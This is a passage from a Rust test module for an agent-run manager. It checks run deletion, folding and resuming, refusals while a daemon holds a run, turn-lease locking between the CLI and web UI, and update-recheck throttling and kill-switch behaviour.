21145            worktree: PathBuf::from("/w"),
21146            summary: String::new(),
21147            stat: String::new(),
21148            files: 1,
21149            commits: 1,
21150            empty: false,
21151            failed: None,
21152            verified_noop: None,
21153            duration_ms: 0,
21154            folded: true,
21155        });
21156        let dir = runs.join(run_id);
21157        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21158        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21159            .expect("write artifact");
21160        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21161            .expect("write run.json");
21162
21163        // Delete by short id
21164        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21165        assert_eq!(res.status, 204);
21166        assert!(res.body.is_empty(), "204 has no body");
21167        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21168
21169        // 2. A run a live daemon is working on is refused with 409. The
21170        // heartbeat is what makes it refusable: an unfinished run with no
21171        // daemon behind it is a leftover from a killed process, and case 1
21172        // above would otherwise be impossible to tell apart from this one.
21173        let run_running = "20260901-000000-rung";
21174        write_run(&runs, run_running, RunStatus::Prep);
21175        let mut beat = crate::daemon::Status::new();
21176        beat.current = vec![crate::daemon::Current {
21177            task: "20260901-000000-task".to_owned(),
21178            run: run_running.to_owned(),
21179        }];
21180        beat.updated_at = jiff::Timestamp::now();
21181        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21182            .expect("publish a heartbeat");
21183        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21184        assert_eq!(res.status, 409);
21185        assert!(
21186            res.json()["error"]
21187                .as_str()
21188                .unwrap()
21189                .contains("live daemon"),
21190            "the refusal must say who is holding it"
21191        );
21192        assert!(
21193            runs.join(run_running).exists(),
21194            "a run in flight keeps its directory"
21195        );
21196
21197        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21198        let run_unfolded = "20260901-000000-unfd";
21199        let mut state2 = RunState::new(
21200            PathBuf::from("/repo"),
21201            "main".to_owned(),
21202            "abc".to_owned(),
21203            "instruction".to_owned(),
21204            Config::default(),
21205        );
21206        state2.id = run_unfolded.to_owned();
21207        state2.status = RunStatus::Ready;
21208        state2.candidates.push(crate::run::Candidate {
21209            index: 0,
21210            label: 'A',
21211            agent: "a".to_owned(),
21212            branch: "b".to_owned(),
21213            worktree: PathBuf::from("/w"),
21214            summary: String::new(),
21215            stat: String::new(),
21216            files: 1,
21217            commits: 1,
21218            empty: false,
21219            failed: None,
21220            verified_noop: None,
21221            duration_ms: 0,
21222            folded: false,
21223        });
21224        let dir2 = runs.join(run_unfolded);
21225        std::fs::create_dir_all(&dir2).expect("create dir2");
21226        std::fs::write(
21227            dir2.join("run.json"),
21228            serde_json::to_string(&state2).unwrap(),
21229        )
21230        .expect("write run.json");
21231
21232        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21233        assert_eq!(res.status, 409);
21234        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21235        assert!(dir2.exists(), "unfolded run directory is kept");
21236
21237        // 4. Missing id returns 404
21238        let res = fx.delete("/api/runs/nonexistent").await;
21239        assert_eq!(res.status, 404);
21240    }
21241
21242    /// The queue tiles on the Stats tab must render even on a home with no
21243    /// runs at all: queue state is not derived from run history, so hiding
21244    /// the whole dashboard body behind "no runs yet" would drop the one
21245    /// thing this tab promises unconditionally (queued/running/held/done).
21246    /// A DOM-level test would need a browser this suite does not have, so
21247    /// this pins the same invariant textually: `renderStatsQueue` is called
21248    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21249    /// block that gates the run-derived panels.
21250    #[test]
21251    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21252        let start = APP_JS
21253            .find("function renderStats() {")
21254            .expect("renderStats");
21255        let end = start
21256            + APP_JS[start..]
21257                .find("function statsTile(")
21258                .expect("the next top-level function");
21259        let body = &APP_JS[start..end];
21260
21261        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21262        let gate_end = gate_start
21263            + body[gate_start..]
21264                .find("}\n  renderStatsQueue")
21265                .expect("the gate's own closing brace, right before the unconditional call");
21266        let gated = &body[gate_start..gate_end];
21267
21268        assert_eq!(
21269            body.matches("renderStatsQueue(").count(),
21270            1,
21271            "renderStats must call renderStatsQueue exactly once: {body}"
21272        );
21273        assert!(
21274            !gated.contains("renderStatsQueue"),
21275            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21276             run-derived panels on an empty run history - the queue panel has to render \
21277             regardless: {gated}"
21278        );
21279    }
21280
21281    #[test]
21282    fn web_ui_delete_contract_in_front_end() {
21283        // 1. API block has both delete endpoints
21284        assert!(APP_JS.contains("deleteRun:"));
21285        assert!(APP_JS.contains("deleteTask:"));
21286
21287        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21288        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21289            ..APP_JS.find("function renderRuns").unwrap()];
21290        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21291
21292        // 3. Run detail has delete entry and reasons
21293        assert!(APP_JS.contains("renderRunDelete"));
21294        assert!(APP_JS.contains("runDeleteReason"));
21295        assert!(APP_JS.contains("magi fold"));
21296        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21297
21298        // 4. Two-step delete arming and focus on Cancel
21299        assert!(APP_JS.contains("cancel.focus"));
21300        assert!(APP_JS.contains("armedRunDelete"));
21301        assert!(APP_JS.contains("renderTaskDeleteBox"));
21302        assert!(APP_JS.contains("armed${cap(key)}"));
21303
21304        // 5. Running task has disabled delete
21305        assert!(APP_JS.contains("disabled: status === \"running\""));
21306    }
21307
21308    /// Every element a run card's updater reaches for must be in the `refs`
21309    /// the builder handed it.
21310    ///
21311    /// `createRunCard` builds its elements, appends them to the card, and then
21312    /// lists them again in `row.refs`. That second list is the one the updater
21313    /// uses, and nothing connects the two - an element can be built, appended
21314    /// and rendered, and still be missing from `refs`. `superseded` was, for
21315    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21316    /// exception took `syncList` with it, and the deck showed
21317    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21318    /// line is computed before the cards, which is why the failure looked like
21319    /// a server that had lost its runs rather than a front end that had
21320    /// stopped rendering them.
21321    ///
21322    /// A `cargo test` cannot execute the front end, so this reads the two
21323    /// halves out of the source and compares them as sets. It is not a check
21324    /// on the wording of either list: adding an element, renaming one, or
21325    /// reordering them all keeps this passing, and only using one the builder
21326    /// never published fails it.
21327    #[test]
21328    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21329        let build = APP_JS
21330            .find("function createRunCard")
21331            .expect("createRunCard exists");
21332        let update = APP_JS
21333            .find("function updateRunCard")
21334            .expect("updateRunCard exists");
21335        let end = APP_JS
21336            .find("function renderRuns")
21337            .expect("renderRuns exists");
21338
21339        // The builder's published set: the object literal assigned to `refs`.
21340        let builder = &APP_JS[build..update];
21341        let open = builder.find("refs = {").expect("createRunCard sets refs");
21342        let literal = &builder[open + "refs = {".len()..];
21343        let close = literal.find('}').expect("the refs literal is closed");
21344        let published: HashSet<&str> = literal[..close]
21345            .split(',')
21346            // `name` and `name: value` both bind `name`.
21347            .filter_map(|entry| entry.split(':').next())
21348            .map(str::trim)
21349            .filter(|name| !name.is_empty())
21350            .collect();
21351        assert!(
21352            published.len() > 5,
21353            "the refs literal did not parse into names: {published:?}"
21354        );
21355
21356        // What the updaters reach for: every `r.<name>`, where `r` is the
21357        // `const r = row.refs` alias both functions open with.
21358        let mut used: Vec<&str> = Vec::new();
21359        let updaters = &APP_JS[update..end];
21360        for (at, _) in updaters.match_indices("r.") {
21361            // `r` must be the whole identifier, not the tail of another one
21362            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21363            let before = updaters[..at].chars().next_back();
21364            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21365                continue;
21366            }
21367            let rest = &updaters[at + 2..];
21368            let len = rest
21369                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21370                .unwrap_or(rest.len());
21371            if len > 0 {
21372                used.push(&rest[..len]);
21373            }
21374        }
21375        assert!(
21376            used.len() > 5,
21377            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21378        );
21379
21380        let missing: Vec<&str> = used
21381            .iter()
21382            .copied()
21383            .filter(|name| !published.contains(name))
21384            .collect();
21385        assert!(
21386            missing.is_empty(),
21387            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21388             never put in `refs` - every card will throw and the list will \
21389             render empty under a count line that says otherwise. Published: \
21390             {published:?}"
21391        );
21392    }
21393
21394    #[tokio::test]
21395    async fn folding_from_the_phone_reports_what_it_removed() {
21396        let fx = Fixture::start().await;
21397        let runs = fx.runs();
21398
21399        // A run with no candidates has nothing to fold, which is a 200 with an
21400        // honest count rather than an error: the operator asked for the trees
21401        // to be gone and they are.
21402        let id = "20260901-000000-fold";
21403        write_run(&runs, id, RunStatus::Stalled);
21404        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21405        assert_eq!(res.status, 200);
21406        assert_eq!(res.json()["removed_count"], 0);
21407        assert_eq!(res.json()["run"], id);
21408        assert!(
21409            runs.join(id).exists(),
21410            "a fold keeps the run's record; only the worktrees go"
21411        );
21412    }
21413
21414    #[tokio::test]
21415    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21416        let fx = Fixture::start().await;
21417        let runs = fx.runs();
21418        let wt = fx.home.path().join("wt").join("magi").join("dead");
21419        let id = "20260901-000000-dead";
21420        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21421        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21422        std::fs::create_dir_all(&wt).expect("worktree dir");
21423
21424        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21425        assert_eq!(res.status, 200, "{}", res.body);
21426        assert!(
21427            res.json()["removed_count"].as_u64().unwrap() > 0,
21428            "the worktree this build could not read a state for still went"
21429        );
21430        assert!(
21431            !runs.join(id).exists(),
21432            "an unreadable run has no candidate list to fold selectively, so \
21433             the whole record goes - same as `magi fold` on the CLI"
21434        );
21435    }
21436
21437    #[tokio::test]
21438    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21439        let fx = Fixture::start().await;
21440        let runs = fx.runs();
21441        let wt = fx.home.path().join("wt").join("magi").join("gone");
21442        let id = "20260901-000000-gone";
21443        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21444        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21445        std::fs::create_dir_all(&wt).expect("worktree dir");
21446
21447        let res = fx.delete(&format!("/api/runs/{id}")).await;
21448        assert_eq!(res.status, 204, "{}", res.body);
21449        assert!(!runs.join(id).exists(), "the broken record is gone");
21450        assert!(!wt.exists(), "its worktree is gone too");
21451    }
21452
21453    #[tokio::test]
21454    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21455        let fx = Fixture::start().await;
21456        let runs = fx.runs();
21457        let id = "20260901-000000-live";
21458        write_run(&runs, id, RunStatus::Implementing);
21459
21460        let mut beat = crate::daemon::Status::new();
21461        beat.current = vec![crate::daemon::Current {
21462            task: "20260901-000000-task".to_owned(),
21463            run: id.to_owned(),
21464        }];
21465        beat.updated_at = jiff::Timestamp::now();
21466        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21467            .expect("publish a heartbeat");
21468
21469        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21470        assert_eq!(res.status, 409);
21471        assert!(
21472            res.json()["error"]
21473                .as_str()
21474                .unwrap()
21475                .contains("live daemon"),
21476            "folding under a running agent would pull its worktree away"
21477        );
21478    }
21479
21480    #[tokio::test]
21481    async fn fold_merged_requires_a_pr_url() {
21482        let fx = Fixture::start().await;
21483        let runs = fx.runs();
21484        let id = "20260901-000000-nourl";
21485        write_run(&runs, id, RunStatus::Blocked);
21486
21487        let res = fx
21488            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21489            .await;
21490        assert_eq!(res.status, 400, "{}", res.body);
21491
21492        let blank = fx
21493            .post(
21494                &format!("/api/runs/{id}/fold-merged"),
21495                Some(r#"{"pr_url":"   "}"#),
21496            )
21497            .await;
21498        assert_eq!(blank.status, 400, "{}", blank.body);
21499    }
21500
21501    #[tokio::test]
21502    async fn fold_merged_is_404_for_an_unknown_run() {
21503        let fx = Fixture::start().await;
21504        let res = fx
21505            .post(
21506                "/api/runs/nosuchrun/fold-merged",
21507                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21508            )
21509            .await;
21510        assert_eq!(res.status, 404, "{}", res.body);
21511    }
21512
21513    #[tokio::test]
21514    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21515        let fx = Fixture::start().await;
21516        let runs = fx.runs();
21517        let id = "20260901-000000-livemerge";
21518        write_run(&runs, id, RunStatus::Blocked);
21519
21520        let mut beat = crate::daemon::Status::new();
21521        beat.current = vec![crate::daemon::Current {
21522            task: "20260901-000000-task".to_owned(),
21523            run: id.to_owned(),
21524        }];
21525        beat.updated_at = jiff::Timestamp::now();
21526        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21527            .expect("publish a heartbeat");
21528
21529        let res = fx
21530            .post(
21531                &format!("/api/runs/{id}/fold-merged"),
21532                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21533            )
21534            .await;
21535        assert_eq!(res.status, 409, "{}", res.body);
21536        assert!(
21537            res.json()["error"]
21538                .as_str()
21539                .unwrap()
21540                .contains("live daemon"),
21541            "correcting a run's merge underneath a running agent would race \
21542             whatever it is doing to the same `status`/`merge` fields"
21543        );
21544    }
21545
21546    /// A pull request `gh` cannot even ask about (no such remote, no such
21547    /// repository) must never be recorded as a merge on a guess - the same
21548    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21549    /// command line, reached here through the phone route instead.
21550    #[tokio::test]
21551    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21552        let fx = Fixture::start().await;
21553        let runs = fx.runs();
21554        let id = "20260901-000000-unconfirmed";
21555        write_run(&runs, id, RunStatus::Blocked);
21556
21557        let res = fx
21558            .post(
21559                &format!("/api/runs/{id}/fold-merged"),
21560                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21561            )
21562            .await;
21563        assert_eq!(res.status, 400, "{}", res.body);
21564        assert_eq!(
21565            read_run(&runs, id).unwrap().status,
21566            RunStatus::Blocked,
21567            "a pull request that could not be confirmed merged must leave \
21568             the run exactly where it was"
21569        );
21570    }
21571
21572    #[tokio::test]
21573    async fn terminal_runs_cannot_be_resumed() {
21574        let fx = Fixture::start().await;
21575        let runs = fx.runs();
21576
21577        for (status, word) in [
21578            (RunStatus::Merged, "merged"),
21579            (RunStatus::Ready, "ready"),
21580            (RunStatus::Failed, "failed"),
21581        ] {
21582            let id = format!("20260901-000000-{}", &word[..4]);
21583            write_run(&runs, &id, status);
21584            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21585            assert_eq!(res.status, 409, "{word} must not be resumable");
21586        }
21587    }
21588
21589    #[tokio::test]
21590    async fn resume_is_refused_while_the_loop_is_running() {
21591        let fx = Fixture::start().await;
21592        let runs = fx.runs();
21593        let stalled = "20260901-000000-stal";
21594        write_run(&runs, stalled, RunStatus::Stalled);
21595
21596        // The loop is busy with a *different* run, and that is still a
21597        // refusal: a manual resume must never race whatever the loop itself
21598        // is already driving, whether that is one run or several.
21599        let mut beat = crate::daemon::Status::new();
21600        beat.current = vec![crate::daemon::Current {
21601            task: "20260901-000000-task".to_owned(),
21602            run: "20260901-000000-othr".to_owned(),
21603        }];
21604        beat.updated_at = jiff::Timestamp::now();
21605        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21606            .expect("publish a heartbeat");
21607
21608        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21609        assert_eq!(res.status, 409);
21610        let err = res.json()["error"].as_str().unwrap().to_owned();
21611        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21612        assert!(err.contains("stop it first"), "{err}");
21613    }
21614
21615    #[test]
21616    fn a_run_cannot_be_resumed_twice_at_once() {
21617        let home = TempDir::new().expect("temp home");
21618        let ui = Ui::new(
21619            Queue::at(home.path().join("queue")),
21620            Questions::at(home.path().join("questions")),
21621            Talks::at(home.path().join("talks")),
21622            home.path().join("runs"),
21623            home.path().to_path_buf(),
21624            PathBuf::from("/repo"),
21625        )
21626        .with_worktrees_root(home.path().join("wt"));
21627        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21628        let again = ui.begin_resume("20260901-000000-once");
21629        assert!(again.is_err(), "a second tap must not start a second graph");
21630        drop(first);
21631        assert!(
21632            ui.begin_resume("20260901-000000-once").is_ok(),
21633            "and the claim is released when the attempt ends"
21634        );
21635    }
21636
21637    #[test]
21638    fn talk_thinking_tracks_only_its_held_turn_claim() {
21639        let home = TempDir::new().expect("temp home");
21640        let ui = Ui::new(
21641            Queue::at(home.path().join("queue")),
21642            Questions::at(home.path().join("questions")),
21643            Talks::at(home.path().join("talks")),
21644            home.path().join("runs"),
21645            home.path().to_path_buf(),
21646            PathBuf::from("/repo"),
21647        )
21648        .with_worktrees_root(home.path().join("wt"));
21649        let id = "20260901-000000-once";
21650
21651        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21652        let turn = ui.begin_talk_turn(id).expect("claim turn");
21653        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21654        assert!(
21655            !ui.is_thinking("20260901-000000-other"),
21656            "one talk's turn does not make another talk busy"
21657        );
21658        drop(turn);
21659        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21660    }
21661
21662    #[test]
21663    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21664        let home = TempDir::new().expect("temp home");
21665        let talks = Talks::at(home.path().join("talks"));
21666        let ui = Ui::new(
21667            Queue::at(home.path().join("queue")),
21668            Questions::at(home.path().join("questions")),
21669            talks.clone(),
21670            home.path().join("runs"),
21671            home.path().to_path_buf(),
21672            PathBuf::from("/repo"),
21673        )
21674        .with_worktrees_root(home.path().join("wt"));
21675        let id = "20260901-000000-cross";
21676
21677        let other = Talks::at(home.path().join("talks"))
21678            .claim_turn(id)
21679            .expect("claim")
21680            .expect("the other process wins");
21681        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21682        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21683        assert!(
21684            matches!(
21685                ui.begin_talk_turn_unless_pending(id).expect("start"),
21686                TalkTurnStart::Foreign
21687            ),
21688            "a foreign holder is refused, not queued behind"
21689        );
21690        assert!(
21691            !ui.talk_turns.lock().unwrap().live.contains(id),
21692            "a refused claim leaves no in-process entry behind"
21693        );
21694        drop(other);
21695        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21696        assert!(talks.turn_held(id), "the web turn holds the lease");
21697        drop(turn);
21698        assert!(
21699            !talks.turn_held(id),
21700            "dropping the guard releases the lease"
21701        );
21702    }
21703
21704    fn consult_question(ui: &Ui) -> Question {
21705        let mut q = Question::new(
21706            "20260901-000000-consult".to_owned(),
21707            "implement".to_owned(),
21708            "impl-A".to_owned(),
21709            "Which backend?".to_owned(),
21710            String::new(),
21711            vec!["SQLite".to_owned(), "Redis".to_owned()],
21712        );
21713        ui.questions.put(&mut q).expect("question");
21714        q
21715    }
21716
21717    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21718        (
21719            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21720            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21721        )
21722    }
21723
21724    #[tokio::test]
21725    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21726        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21727        let q = consult_question(&ui);
21728        let talk = ui.talks.get(&id).expect("talk");
21729        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21730        let before = consult_snapshot(&ui, &q, &id);
21731        let cli_talks = Talks::at(ui.home.join("talks"));
21732        assert_eq!(
21733            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21734                .await
21735                .expect("CLI starter"),
21736            crate::consult::Started::Busy
21737        );
21738        assert_eq!(consult_snapshot(&ui, &q, &id), before);
21739        assert!(ui.is_thinking(&id));
21740        drop(guard);
21741        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21742    }
21743
21744    #[tokio::test]
21745    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21746        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21747        let q = consult_question(&ui);
21748        let talk = ui.talks.get(&id).expect("talk");
21749        let started = tmp.path().join("started");
21750        let release = tmp.path().join("release");
21751        let script = tmp.path().join("consult-agent.sh");
21752        std::fs::write(
21753            &script,
21754            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
21755        )
21756        .expect("script");
21757        let mut cfg = stub_config();
21758        cfg.agents[0].id = "mock".to_owned();
21759        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21760        cfg.agents[0].env = std::collections::BTreeMap::from([
21761            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21762            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21763        ]);
21764        let questions = ui.questions.clone();
21765        let cli_talks = Talks::at(ui.home.join("talks"));
21766        let cli_q = q.clone();
21767        let turn = tokio::spawn(async move {
21768            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21769        });
21770        let ready = tokio::time::timeout(Duration::from_secs(30), async {
21771            while !started.exists() {
21772                tokio::time::sleep(Duration::from_millis(10)).await;
21773            }
21774        })
21775        .await;
21776        // Always release and join the agent, even if readiness or the web
21777        // request fails, so a failed assertion cannot leave a turn behind.
21778        let refusal = if ready.is_ok() {
21779            let before = consult_snapshot(&ui, &q, &id);
21780            let result = talk_say(
21781                State(Arc::clone(&ui)),
21782                Path(id.clone()),
21783                Ok(Json(NewTalkTurn {
21784                    reply_to: None,
21785                    text: "another message".to_owned(),
21786                    attachments: Vec::new(),
21787                })),
21788            )
21789            .await;
21790            Some((result, before, consult_snapshot(&ui, &q, &id)))
21791        } else {
21792            None
21793        };
21794        std::fs::write(&release, "").expect("release agent");
21795        let done = turn.await.expect("join CLI turn");
21796        ready.expect("agent started before deadline");
21797        let (result, before, after) = refusal.expect("web request");
21798        let error = result.expect_err("web must refuse the CLI's turn");
21799        assert_eq!(error.status, StatusCode::CONFLICT);
21800        assert!(error.message.contains("a turn is already running"));
21801        assert_eq!(
21802            after, before,
21803            "refusal preserves question, draft and history"
21804        );
21805        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21806        let guard = ui
21807            .begin_talk_turn(&id)
21808            .expect("web claim")
21809            .expect("free again");
21810        drop(guard);
21811    }
21812
21813    #[test]
21814    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21815        let home = TempDir::new().expect("temp home");
21816        let talks = Talks::at(home.path().join("talks"));
21817        let ui = Ui::new(
21818            Queue::at(home.path().join("queue")),
21819            Questions::at(home.path().join("questions")),
21820            talks.clone(),
21821            home.path().join("runs"),
21822            home.path().to_path_buf(),
21823            PathBuf::from("/repo"),
21824        )
21825        .with_worktrees_root(home.path().join("wt"));
21826        let id = "20260901-000000-order";
21827        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21828        // Hold the slot mutex so the drop can finish the lease but not the slot.
21829        let slots = ui.talk_turns.lock().unwrap();
21830        let dropper = std::thread::spawn(move || drop(turn));
21831        let start = std::time::Instant::now();
21832        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21833            std::thread::sleep(Duration::from_millis(5));
21834        }
21835        assert!(!talks.turn_held(id), "the lease is released first");
21836        assert!(slots.live.contains(id), "the slot is still held meanwhile");
21837        drop(slots);
21838        dropper.join().expect("join");
21839        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21840    }
21841
21842    #[tokio::test]
21843    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21844        let fx = Fixture::start().await;
21845        let mut beat = crate::daemon::Status::new();
21846        beat.worker_protocol = None;
21847        beat.pid = 4321;
21848        beat.updated_at = jiff::Timestamp::now();
21849        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21850            .expect("publish a heartbeat");
21851
21852        let res = fx.post("/api/upgrade", None).await;
21853        assert_eq!(res.status, 409);
21854    }
21855
21856    /// [`should_spawn_recheck`] must refuse for the same two reasons
21857    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
21858    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
21859    /// Purely a predicate over config and the environment - no network, no
21860    /// disk, no runtime - so unlike the fixture-based tests around it this
21861    /// one needs neither.
21862    #[test]
21863    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21864        assert!(!should_spawn_recheck(&crate::config::Update {
21865            mode: UpdateMode::Off,
21866            interval: None,
21867            auto_restart: false,
21868        }));
21869
21870        // SAFETY: single-threaded as far as this variable goes, the same
21871        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21872        unsafe {
21873            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21874        }
21875        let killed = should_spawn_recheck(&crate::config::Update {
21876            mode: UpdateMode::Notify,
21877            interval: None,
21878            auto_restart: false,
21879        });
21880        unsafe {
21881            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21882        }
21883        assert!(
21884            !killed,
21885            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21886             one-time startup check"
21887        );
21888
21889        assert!(should_spawn_recheck(&crate::config::Update {
21890            mode: UpdateMode::Notify,
21891            interval: None,
21892            auto_restart: false,
21893        }));
21894    }
21895
21896    /// [`recheck_poll_period`] must track a configured `[update] interval`
21897    /// shorter than its own default ceiling - a fixed sleep here would leave
21898    /// an operator's short interval waiting on the next wake-up instead of on
21899    /// `should_check`, which is the same bug this whole task exists to fix,
21900    /// just one level down.
21901    #[test]
21902    fn recheck_poll_period_tracks_a_short_configured_interval() {
21903        let short = crate::config::Update {
21904            mode: UpdateMode::Notify,
21905            interval: Some("1m".to_owned()),
21906            auto_restart: false,
21907        };
21908        let period = recheck_poll_period(&short);
21909        assert!(
21910            period <= Duration::from_secs(30),
21911            "a one-minute interval must wake the task far sooner than the \
21912             default ceiling, or the deck would not notice within the \
21913             interval the operator configured: got {period:?}"
21914        );
21915
21916        let default = crate::config::Update {
21917            mode: UpdateMode::Notify,
21918            interval: None,
21919            auto_restart: false,
21920        };
21921        assert_eq!(
21922            recheck_poll_period(&default),
21923            UPDATE_RECHECK_POLL_MAX,
21924            "the default day-long interval should poll at the (capped) \
21925             ceiling rather than needlessly often"
21926        );
21927    }
21928
21929    /// [`update_recheck_due`] must not repeat a check made moments ago, the
21930    /// same throttle `updater::Checker::should_check` already gives the
21931    /// CLI's notify mode. Built over an explicit state file via
21932    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
21933    /// write the operator's real `last_update_check.json` - and therefore
21934    /// cannot flake on whatever that file happens to say on the machine
21935    /// running the test.
21936    #[test]
21937    fn recheck_skips_the_network_before_the_interval_elapses() {
21938        let dir = TempDir::new().expect("temp dir");
21939        let path = dir.path().join("state.json");
21940        let state = kaishin::UpdateCheckState {
21941            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21942            last_known_latest: None,
21943            last_known_url: None,
21944        };
21945        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21946
21947        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21948        assert!(
21949            !update_recheck_due(&checker, None),
21950            "a check made moments ago must not be repeated before the \
21951             configured interval elapses"
21952        );
21953    }
21954
21955    /// An upgrade this deck already started must not be raced by a recheck
21956    /// that discovers a newer release mid-install - regardless of what
21957    /// `should_check` says, which is why the state file here is missing
21958    /// entirely: read alone, that alone would answer "never checked, go
21959    /// ahead".
21960    #[test]
21961    fn recheck_defers_to_an_upgrade_already_in_flight() {
21962        let dir = TempDir::new().expect("temp dir");
21963        let path = dir.path().join("state.json");
21964        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21965        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21966
21967        assert!(
21968            !update_recheck_due(&checker, Some(&progress)),
21969            "a recheck must not run while an upgrade this deck started is \
21970             still moving"
21971        );
21972    }
21973
21974    #[tokio::test]
21975    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21976        // The same env var the background check honours (`disabled_by_env`)
21977        // must also stop a button press before it ever calls
21978        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
21979        // means "never contact GitHub from this process", and a tap on the
21980        // upgrade button must not override that any more than a broken
21981        // `magi.toml` may. Left unset, this fixture's default config would
21982        // otherwise reach a real, unauthenticated GitHub call.
21983        //
21984        // SAFETY: single-threaded as far as this variable goes - nothing else
21985        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
21986        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21987        unsafe {
21988            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21989        }
21990        let fx = Fixture::start().await;
21991        let res = fx.post("/api/upgrade", None).await;
21992        unsafe {
21993            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21994        }
